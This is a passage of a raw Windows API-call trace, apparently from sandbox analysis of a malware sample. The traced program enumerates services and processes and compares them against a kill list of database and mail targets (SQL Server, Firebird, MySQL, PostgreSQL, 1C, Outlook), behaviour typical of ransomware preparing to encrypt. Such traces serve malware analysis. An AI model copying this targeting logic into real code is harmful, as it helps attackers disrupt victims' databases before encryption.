th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0054.681] CloseHandle (hObject=0x1c0) returned 1 [0054.681] Sleep (dwMilliseconds=0x1f4) [0055.364] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0750 [0055.364] EnumServicesStatusExW (in: hSCManager=0x35f0750, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0055.365] GetLastError () returned 0xea [0055.365] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13a6) returned 0x60e1c0 [0055.366] EnumServicesStatusExW (in: hSCManager=0x35f0750, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e1c0, cbBufSize=0x13a6, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e1c0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0055.367] CloseServiceHandle (hSCObject=0x35f0750) returned 1 [0055.367] lstrlenW (lpString="Appinfo") returned 7 [0055.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0055.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0055.367] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0055.367] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0055.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0055.367] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0055.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.367] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0055.367] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0055.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0055.368] lstrlenW (lpString="AudioSrv") returned 8 [0055.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0055.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0055.368] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0055.368] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0055.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0055.368] lstrlenW (lpString="BFE") returned 3 [0055.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0055.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0055.368] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0055.368] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0055.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0055.368] lstrlenW (lpString="CryptSvc") returned 8 [0055.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0055.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0055.368] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0055.368] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0055.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0055.368] lstrlenW (lpString="CscService") returned 10 [0055.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0055.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0055.368] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0055.368] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0055.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0055.369] lstrlenW (lpString="DcomLaunch") returned 10 [0055.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.369] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0055.369] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0055.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0055.369] lstrlenW (lpString="Dhcp") returned 4 [0055.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0055.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0055.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0055.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0055.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0055.369] lstrlenW (lpString="Dnscache") returned 8 [0055.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0055.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0055.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0055.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0055.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0055.369] lstrlenW (lpString="DPS") returned 3 [0055.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0055.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0055.369] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0055.369] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0055.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0055.370] lstrlenW (lpString="eventlog") returned 8 [0055.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0055.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0055.370] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0055.370] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0055.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0055.370] lstrlenW (lpString="EventSystem") returned 11 [0055.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0055.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0055.370] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0055.370] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0055.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0055.370] lstrlenW (lpString="FontCache") returned 9 [0055.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0055.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0055.370] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0055.370] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0055.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0055.370] lstrlenW (lpString="gpsvc") returned 5 [0055.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0055.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0055.370] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0055.371] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0055.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0055.371] lstrlenW (lpString="iphlpsvc") returned 8 [0055.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.371] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0055.371] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0055.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0055.371] lstrlenW (lpString="LanmanServer") returned 12 [0055.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0055.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0055.371] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0055.371] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0055.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0055.371] lstrlenW (lpString="LanmanWorkstation") returned 17 [0055.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.371] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0055.371] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0055.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0055.371] lstrlenW (lpString="lmhosts") returned 7 [0055.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0055.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0055.372] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0055.372] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0055.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0055.372] lstrlenW (lpString="MMCSS") returned 5 [0055.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0055.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0055.372] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0055.372] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0055.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0055.372] lstrlenW (lpString="MpsSvc") returned 6 [0055.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0055.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0055.372] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0055.372] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0055.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0055.372] lstrlenW (lpString="Netman") returned 6 [0055.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0055.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0055.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0055.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0055.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0055.373] lstrlenW (lpString="netprofm") returned 8 [0055.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0055.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0055.373] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0055.373] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0055.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0055.373] lstrlenW (lpString="NlaSvc") returned 6 [0055.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0055.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0055.373] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0055.373] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0055.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0055.373] lstrlenW (lpString="nsi") returned 3 [0055.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0055.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0055.373] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0055.373] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0055.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0055.373] lstrlenW (lpString="PcaSvc") returned 6 [0055.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0055.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0055.373] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0055.373] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0055.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0055.374] lstrlenW (lpString="PlugPlay") returned 8 [0055.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0055.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0055.374] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0055.374] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0055.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0055.374] lstrlenW (lpString="Power") returned 5 [0055.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0055.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0055.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0055.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0055.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0055.374] lstrlenW (lpString="ProfSvc") returned 7 [0055.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0055.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0055.374] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0055.374] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0055.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0055.374] lstrlenW (lpString="RpcEptMapper") returned 12 [0055.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.375] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0055.375] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0055.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0055.375] lstrlenW (lpString="RpcSs") returned 5 [0055.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0055.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0055.375] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0055.375] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0055.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0055.375] lstrlenW (lpString="SamSs") returned 5 [0055.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0055.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0055.375] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0055.375] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0055.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0055.375] lstrlenW (lpString="Schedule") returned 8 [0055.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0055.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0055.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0055.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0055.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0055.375] lstrlenW (lpString="SENS") returned 4 [0055.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0055.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0055.376] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0055.376] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0055.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0055.376] lstrlenW (lpString="ShellHWDetection") returned 16 [0055.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.376] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0055.376] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0055.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0055.376] lstrlenW (lpString="Spooler") returned 7 [0055.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.376] lstrlenW (lpString="sppsvc") returned 6 [0055.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0055.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0055.376] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0055.376] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0055.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0055.376] lstrlenW (lpString="SysMain") returned 7 [0055.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.377] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.377] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0055.377] lstrlenW (lpString="Themes") returned 6 [0055.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0055.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0055.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0055.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0055.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0055.377] lstrlenW (lpString="TrkWks") returned 6 [0055.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0055.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0055.377] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0055.377] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0055.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0055.377] lstrlenW (lpString="UxSms") returned 5 [0055.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0055.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0055.377] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0055.377] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0055.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0055.378] lstrlenW (lpString="VSS") returned 3 [0055.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0055.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0055.378] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0055.378] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0055.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0055.378] lstrlenW (lpString="WdiServiceHost") returned 14 [0055.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.378] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0055.378] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0055.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0055.378] lstrlenW (lpString="WdiSystemHost") returned 13 [0055.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.378] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0055.378] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0055.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0055.379] lstrlenW (lpString="WinDefend") returned 9 [0055.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0055.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0055.379] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0055.379] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0055.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0055.379] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0055.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.379] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0055.379] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0055.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0055.379] lstrlenW (lpString="Winmgmt") returned 7 [0055.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0055.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0055.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0055.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0055.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0055.379] lstrlenW (lpString="wscsvc") returned 6 [0055.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0055.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0055.380] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0055.380] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0055.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0055.380] lstrlenW (lpString="wuauserv") returned 8 [0055.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0055.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0055.380] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0055.380] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0055.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0055.380] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e1c0 | out: hHeap=0x5c0000) returned 1 [0055.380] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0055.386] Process32FirstW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.387] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.388] lstrlenW (lpString="System") returned 6 [0055.388] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0055.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0055.388] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0055.388] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0055.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0055.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0055.388] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0055.388] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.389] lstrlenW (lpString="smss.exe") returned 8 [0055.389] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0055.389] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0055.389] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.390] lstrlenW (lpString="csrss.exe") returned 9 [0055.390] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.391] lstrlenW 